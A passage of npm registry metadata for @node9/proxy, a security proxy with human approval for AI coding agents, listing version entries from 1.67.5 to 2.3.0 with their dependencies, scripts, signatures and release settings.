scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.67.5_1787409306699_0.021491391116008174","host":"s3://npm-registry-packages-npm-production"}},"2.0.0":{"name":"@node9/proxy","version":"2.0.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.0.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"547fe044d148b18fb6021382451b5a345878a378","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.0.0.tgz","fileCount":17,"integrity":"sha512-PSDFHvUDLxc59FXZQFvIk3J9zSJT5khfRXnQeFlbU8MonU7Qwg8c66vMFVw7BRfBuNsS65v10I9JS8kXiO3HpA==","signatures":[{"sig":"MEUCIQD4QvOak8KxT2vvnJfLp+r28vi4kdWdVmhHOcFbeoDXWQIgTslc/Qvl8w3cQFqbgyuwSwWbLerg5NSrTwhZxjOAe18=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.0.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6933033},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"c74bac733dc4ad40548c7cf392a0ff7f4defb51a","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.0.0_1787425445292_0.8101914670952799","host":"s3://npm-registry-packages-npm-production"}},"2.1.0":{"name":"@node9/proxy","version":"2.1.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.1.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"af1db03d81332444287bcc366f104d5024264b97","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.1.0.tgz","fileCount":17,"integrity":"sha512-xcW709zHZJ2k/yg+m3aHMdytbbHwnKhGyxU9dRNiyDz2/ecXuo+SX5qaDZ0/pQBTlpMtgmfDKaMd/IrZJoAPSg==","signatures":[{"sig":"MEUCIBleBDc2k1xKonKrk3t9E6rhLQeLvZN3vNUjtrVyVZLAAiEA2m03CYPo9T06mFPI///jCz08w3Q38gRhzMwqd63/Z9M=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.1.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6945436},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"2508b53a05ae91181a4ddd308cd8b9acb9c4f35c","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.1.0_1787913599774_0.8771478245400626","host":"s3://npm-registry-packages-npm-production"}},"2.2.0":{"name":"@node9/proxy","version":"2.2.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.2.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"c6c8177d039ae7853accef755980c667414eabcd","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.2.0.tgz","fileCount":17,"integrity":"sha512-CnCfAEQYKLzijL55ZYVK7rfuGP3JDE7Yf4KgqsoN3RTCqTzbdjhUwNrJz3tf9XZJpB4VVwj4YCgcpAp0w7xFtA==","signatures":[{"sig":"MEUCIQDcMbTOLYp/4vKZkzA3HxTTpR9E2etMK3vBWYcV7113GgIgV+t9ArwdaJLFrjTN9p8y5iv1YWBXqE2GKD/ZMS35KpM=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.2.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6958742},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"bc47706483f0d1cb2400903977512e88ad64d886","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.2.0_1787920058167_0.24548467036083377","host":"s3://npm-registry-packages-npm-production"}},"2.2.1":{"name":"@node9/proxy","version":"2.2.1","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.2.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"221cab7abff82fb7b748ecc756a92ecf2f699f19","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.2.1.tgz","fileCount":17,"integrity":"sha512-PRxrecvj/TIx9rr7H6+lMKiWqjGQdJpTMEtFY8Bbb1Ppi1tRM6oZIt7AS/pY6YEs6ZSz8kmtnONhidcRXQb+uA==","signatures":[{"sig":"MEUCIQCCCPiiZncujDg77BFTax7gMNs0Im9EqcI06NWZ4NgUXwIgB4RSCp1CzxejWgMmpyKaECb6srhESN8xG+XUZ9tOCGk=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.2.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6960611},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"734b4f844d48ea836f83bbd73ab23a22845ca868","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.2.1_1787930912738_0.11370787615208555","host":"s3://npm-registry-packages-npm-production"}},"2.2.2":{"name":"@node9/proxy","version":"2.2.2","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.2.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"2ea43155358f60a37906c779b8664a47b6397f5f","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.2.2.tgz","fileCount":17,"integrity":"sha512-AvbbzhuQkpBWDs/E6I5GfPlxPbI34WS1MRTMKlT93IvvwMq/D9PjimjxOTCnonVHwwcHxiYY6YTKAmtL6lJ3GQ==","signatures":[{"sig":"MEYCIQD26XYMc6YsjjxdrZW5opthyaPvzBzMzImIHzXB5jt5cwIhANlHWBts9wxfJbXnWiOcObaATCu+VNWn8lvbhGUC7Rgq","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.2.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6962154},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"520b74a93f2c109d89d8827c6d33f689c7e34798","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.2.2_1787941843929_0.267748364610374","host":"s3://npm-registry-packages-npm-production"}},"2.3.0":{"name":"@node9/proxy","version":"2.3.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.3.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"7d8c098813b66bf0df5708ab8108b74c22448fa2","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.3.0.tgz","fileCount":17,"integrity":"sha512-WtOkTynrsgY0jeyVs2AxjGSJbqWJNnxk/AYSKpjVG99gHUVyesBgBWJbaePjSayJfBmFmdgo6OHDXUENJByLkw==","signatures":[{"sig":"MEUCIQDSbJdfhw/ZgcvFZucDxylQ+q+NtvzzUHR0m5zTvRHQFgIgDp7tP3m9s40cVSHX9WWBSuEr05MlHMmIMNfWaiYTUUI=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.3.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6969104},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"3ad9666b38eabcab1534252d4892181253c7d1e8","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash 